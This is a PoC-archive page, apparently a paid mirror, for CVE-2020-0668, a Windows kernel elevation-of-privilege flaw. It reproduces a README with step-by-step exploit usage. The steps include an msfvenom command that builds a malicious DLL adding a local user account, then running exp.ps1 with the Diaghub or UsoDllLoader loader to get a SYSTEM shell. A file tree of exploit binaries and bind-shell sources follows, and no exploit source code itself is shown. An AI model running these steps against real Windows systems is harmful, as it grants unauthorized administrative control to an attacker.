Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%
Buy Us a Coffee

CVE-2020-0668 PoC — Microsoft Windows Kernel 安全漏洞

Source
https://github.com/ycdxsb/CVE-2020-0668
Associated Vulnerability
Title:Microsoft Windows Kernel 安全漏洞 (CVE-2020-0668)
Description:An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory, aka 'Windows Kernel Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-0669, CVE-2020-0670, CVE-2020-0671, CVE-2020-0672.
Description
Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903
Readme
# CVE-2020-0668

> Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903

## Diaghub Exploit (< v1903)

powershell exploit works on version < win10 v1903 with Diaghub.

### Usage 

- STEP 1：generate `evil.dll` with msfvenom 
  -  example add a user ： `msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll`
- STEP 2：execute `exp.ps1` with powershell
- STEP 3：execute `Diaghub.exe C:\ProgramData evil.dll` to load dll and add user.

![Diaghub](https://ycdxsb-1257345996.cos.ap-beijing.myqcloud.com/blog/2021-28-10-Diaghub.png)

- [Diaghub](https://github.com/xct/diaghub)

## UsoDllLoader Exploit (>= v1903)

powershell exploit works on version >= win10 v1903 with UsoDllLoader.

### Usage

- STEP 1 : execute `exp.ps1` with powershell 
- STEP 2 : execute `UsoDllLoader.exe` to get a system shell

![exploit](https://ycdxsb-1257345996.cos.ap-beijing.myqcloud.com/blog/2021-28-10-UsoDllLoader.png)

- [UsoDllLoader](https://github.com/itm4n/UsoDllLoader)

## Other Exp or PoC

### SysTracingPoc Exp

A x86 release version of [SysTracingPoc](https://github.com/itm4n/SysTracingPoc) for [issue](https://github.com/itm4n/SysTracingPoc/issues/1)，exploit works on version >= win10 v1903 because of UsoLoadDll.

- [SysTracingPoc](https://github.com/itm4n/SysTracingPoc)

### RedCursorSecurityConsulting PoC

A .net PoC. If you take a look at `C:\Windows\System32\evil.dll` and rename it as `evil.txt`.

You will find it not a dll file. Only tracing log in it.

- [CVE-2020-0668](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668)

### Nan3r PoC

A powershell PoC. Also only tracing log in evil.dll.

- [CVE-2020-0668](https://github.com/Nan3r/CVE-2020-0668)
File Snapshot

 [4.0K]  /data/pocs/56bcd65692f95c694668211d2a9f08fe984bcb15
├── [4.0K]  Diaghub_Exploit
│   ├── [ 16K]  diaghub.exe
│   ├── [8.5K]  evil.dll
│   ├── [1.6K]  exp.ps1
│   ├── [1.1M]  NtApiDotNet.dll
│   └── [ 110]  phonebook.pbk
├── [4.0K]  images
│   ├── [ 51K]  Diaghub.png
│   └── [ 44K]  UsoDllLoader.png
├── [1.7K]  README.md
├── [4.0K]  SysTracingPoc-Release
│   ├── [4.0K]  CommonUtils
│   │   ├── [3.5K]  CommonUtils.cpp
│   │   ├── [1023]  CommonUtils.h
│   │   ├── [4.8K]  CommonUtils.vcxproj
│   │   ├── [2.6K]  CommonUtils.vcxproj.filters
│   │   ├── [1.9K]  DirectoryObject.cpp
│   │   ├── [4.3K]  FileOpLock.cpp
│   │   ├── [ 753]  FileOpLock.h
│   │   ├── [4.7K]  FileSymlink.cpp
│   │   ├── [ 562]  FileSymlink.h
│   │   ├── [1.6K]  Hardlink.cpp
│   │   ├── [1.9K]  NativeSymlink.cpp
│   │   ├── [2.2K]  ntimports.h
│   │   ├── [5.0K]  RegistrySymlink.cpp
│   │   ├── [4.0K]  Release
│   │   │   ├── [ 152]  CommonUtils.lib.recipe
│   │   │   ├── [ 291]  CommonUtils.log
│   │   │   ├── [535K]  CommonUtils.obj
│   │   │   ├── [ 14M]  CommonUtils.pch
│   │   │   ├── [4.0K]  CommonUtils.tlog
│   │   │   │   ├── [9.8K]  CL.command.1.tlog
│   │   │   │   ├── [119K]  CL.read.1.tlog
│   │   │   │   ├── [6.0K]  CL.write.1.tlog
│   │   │   │   ├── [ 178]  CommonUtils.lastbuildstate
│   │   │   │   ├── [2.3K]  Lib.command.1.tlog
│   │   │   │   ├── [3.4K]  Lib-link.read.1.tlog
│   │   │   │   └── [1.7K]  Lib-link.write.1.tlog
│   │   │   ├── [397K]  DirectoryObject.obj
│   │   │   ├── [405K]  FileOpLock.obj
│   │   │   ├── [522K]  FileSymlink.obj
│   │   │   ├── [429K]  Hardlink.obj
│   │   │   ├── [397K]  NativeSymlink.obj
│   │   │   ├── [520K]  RegistrySymlink.obj
│   │   │   ├── [493K]  ReparsePoint.obj
│   │   │   ├── [ 18K]  ScopedHandle.obj
│   │   │   └── [483K]  stdafx.obj
│   │   ├── [ 13K]  ReparsePoint.cpp
│   │   ├── [1.2K]  ReparsePoint.h
│   │   ├── [1.7K]  ScopedHandle.cpp
│   │   ├── [ 473]  ScopedHandle.h
│   │   ├── [ 290]  stdafx.cpp
│   │   ├── [ 260]  stdafx.h
│   │   ├── [ 306]  targetver.h
│   │   └── [1.3K]  typed_buffer.h
│   ├── [4.0K]  Release
│   │   ├── [4.1M]  CommonUtils.lib
│   │   ├── [1.7M]  CommonUtils.pdb
│   │   ├── [392K]  SysTracingExploit.exe
│   │   ├── [1.8M]  SysTracing.lib
│   │   ├── [420K]  SysTracing.pdb
│   │   ├── [218K]  SysTracingPoc.exe
│   │   ├── [1.9M]  UsoDllLoader.lib
│   │   ├── [444K]  UsoDllLoader.pdb
│   │   ├── [ 72K]  WindowsCoreDeviceInfo.dll
│   │   ├── [1.2K]  WindowsCoreDeviceInfo.exp
│   │   └── [1.7K]  WindowsCoreDeviceInfo.lib
│   ├── [3.1M]  Release.zip
│   ├── [4.0K]  SysTracing
│   │   ├── [ 19K]  Exploit.cpp
│   │   ├── [1.1K]  Exploit.h
│   │   ├── [4.0K]  Release
│   │   │   ├── [1.1M]  Exploit.obj
│   │   │   ├── [ 152]  SysTracing.lib.recipe
│   │   │   ├── [ 124]  SysTracing.log
│   │   │   ├── [4.0K]  SysTracing.tlog
│   │   │   │   ├── [1.9K]  CL.command.1.tlog
│   │   │   │   ├── [ 85K]  CL.read.1.tlog
│   │   │   │   ├── [1.2K]  CL.write.1.tlog
│   │   │   │   ├── [ 590]  Lib.command.1.tlog
│   │   │   │   ├── [ 772]  Lib-link.read.1.tlog
│   │   │   │   ├── [ 444]  Lib-link.write.1.tlog
│   │   │   │   └── [ 178]  SysTracing.lastbuildstate
│   │   │   └── [768K]  Utils.obj
│   │   ├── [7.7K]  SysTracing.vcxproj
│   │   ├── [1.3K]  SysTracing.vcxproj.filters
│   │   ├── [3.7K]  Utils.cpp
│   │   └── [ 238]  Utils.h
│   ├── [4.0K]  SysTracingExploit
│   │   ├── [4.0K]  Release
│   │   │   ├── [4.0K]  SysTraci.9E7F61EE.tlog
│   │   │   │   ├── [ 962]  CL.command.1.tlog
│   │   │   │   ├── [ 43K]  CL.read.1.tlog
│   │   │   │   ├── [ 364]  CL.write.1.tlog
│   │   │   │   ├── [2.6K]  link.command.1.tlog
│   │   │   │   ├── [6.1K]  link.read.1.tlog
│   │   │   │   ├── [1.3K]  link.write.1.tlog
│   │   │   │   ├── [ 500]  rc.command.1.tlog
│   │   │   │   ├── [3.3K]  rc.read.1.tlog
│   │   │   │   ├── [ 362]  rc.write.1.tlog
│   │   │   │   └── [ 178]  SysTracingExploit.lastbuildstate
│   │   │   ├── [ 317]  SysTracingExploit.exe.recipe
│   │   │   ├── [719K]  SysTracingExploit.iobj
│   │   │   ├── [238K]  SysTracingExploit.ipdb
│   │   │   ├── [ 723]  SysTracingExploit.log
│   │   │   ├── [1.3M]  SysTracingExploit.obj
│   │   │   └── [162K]  SysTracingExploit.res
│   │   ├── [4.0K]  Resource
│   │   │   ├── [ 88K]  WindowsCoreDeviceInfo_x64.dll
│   │   │   └── [ 74K]  WindowsCoreDeviceInfo_x86.dll
│   │   ├── [ 485]  resource.h
│   │   ├── [5.7K]  SysTracingExploit.cpp
│   │   ├── [3.2K]  SysTracingExploit.rc
│   │   ├── [8.3K]  SysTracingExploit.vcxproj
│   │   └── [1.4K]  SysTracingExploit.vcxproj.filters
│   ├── [4.0K]  SysTracingPoc
│   │   ├── [ 251]  pch.cpp
│   │   ├── [  66]  pch.h
│   │   ├── [4.0K]  Release
│   │   │   ├── [3.2K]  pch.obj
│   │   │   ├── [ 313]  SysTracingPoc.exe.recipe
│   │   │   ├── [855K]  SysTracingPoc.iobj
│   │   │   ├── [206K]  SysTracingPoc.ipdb
│   │   │   ├── [ 492]  SysTracingPoc.log
│   │   │   ├── [929K]  SysTracingPoc.obj
│   │   │   ├── [1.9M]  SysTracingPoc.pch
│   │   │   ├── [4.0K]  SysTracingPoc.tlog
│   │   │   │   ├── [1.9K]  CL.command.1.tlog
│   │   │   │   ├── [ 42K]  CL.read.1.tlog
│   │   │   │   ├── [1.1K]  CL.write.1.tlog
│   │   │   │   ├── [2.2K]  link.command.1.tlog
│   │   │   │   ├── [5.3K]  link.read.1.tlog
│   │   │   │   ├── [1.1K]  link.write.1.tlog
│   │   │   │   └── [ 178]  SysTracingPoc.lastbuildstate
│   │   │   └── [388K]  vc142.pdb
│   │   ├── [1.9K]  SysTracingPoc.cpp
│   │   ├── [8.5K]  SysTracingPoc.vcxproj
│   │   ├── [1.2K]  SysTracingPoc.vcxproj.filters
│   │   └── [ 168]  SysTracingPoc.vcxproj.user
│   ├── [5.1K]  SysTracingPoc.sln
│   ├── [4.0K]  UsoDllLoader
│   │   ├── [ 207]  BindShell.h
│   │   ├── [2.8K]  MiniUsoClient.cpp
│   │   ├── [ 13K]  MiniUsoClient.h
│   │   ├── [4.0K]  Release
│   │   │   ├── [306K]  MiniUsoClient.obj
│   │   │   ├── [798K]  TcpClient.obj
│   │   │   ├── [ 152]  UsoDllLoader.lib.recipe
│   │   │   ├── [ 444]  UsoDllLoader.log
│   │   │   ├── [815K]  UsoDllLoader.obj
│   │   │   └── [4.0K]  UsoDllLoader.tlog
│   │   │       ├── [2.8K]  CL.command.1.tlog
│   │   │       ├── [113K]  CL.read.1.tlog
│   │   │       ├── [1.9K]  CL.write.1.tlog
│   │   │       ├── [ 860]  Lib.command.1.tlog
│   │   │       ├── [1.1K]  Lib-link.read.1.tlog
│   │   │       ├── [ 642]  Lib-link.write.1.tlog
│   │   │       └── [ 178]  UsoDllLoader.lastbuildstate
│   │   ├── [4.0K]  TcpClient.cpp
│   │   ├── [ 333]  TcpClient.h
│   │   ├── [1.2K]  UsoDllLoader.cpp
│   │   ├── [7.6K]  UsoDllLoader.vcxproj
│   │   └── [1.4K]  UsoDllLoader.vcxproj.filters
│   └── [4.0K]  WindowsCoreDeviceInfo
│       ├── [1.2K]  BindShell.cpp
│       ├── [ 104]  BindShell.h
│       ├── [4.0K]  Release
│       │   ├── [121K]  BindShell.obj
│       │   ├── [388K]  vc142.pdb
│       │   ├── [4.0K]  WindowsC.B27BF6FA.tlog
│       │   │   ├── [1.8K]  CL.command.1.tlog
│       │   │   ├── [ 67K]  CL.read.1.tlog
│       │   │   ├── [1.6K]  CL.write.1.tlog
│       │   │   ├── [1.8K]  link.command.1.tlog
│       │   │   ├── [4.7K]  link.read.1.tlog
│       │   │   ├── [ 958]  link.write.1.tlog
│       │   │   ├── [ 178]  WindowsCoreDeviceInfo.lastbuildstate
│       │   │   └── [ 520]  WindowsCoreDeviceInfo.write.1u.tlog
│       │   ├── [ 321]  WindowsCoreDeviceInfo.dll.recipe
│       │   ├── [ 52K]  WindowsCoreDeviceInfo.iobj
│       │   ├── [ 14K]  WindowsCoreDeviceInfo.ipdb
│       │   ├── [ 561]  WindowsCoreDeviceInfo.log
│       │   └── [884K]  WindowsCoreDeviceInfo.obj
│       ├── [ 979]  WindowsCoreDeviceInfo.cpp
│       ├── [  94]  WindowsCoreDeviceInfo.def
│       ├── [7.9K]  WindowsCoreDeviceInfo.vcxproj
│       └── [1.3K]  WindowsCoreDeviceInfo.vcxproj.filters
└── [4.0K]  UsoDllLoader_Exploit
    ├── [1.6K]  exp.ps1
    ├── [1.1M]  NtApiDotNet.dll
    ├── [ 110]  phonebook.pbk
    ├── [150K]  UsoDllLoader.exe
    └── [ 91K]  WindowsCoreDeviceInfo.dll

24 directories, 169 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →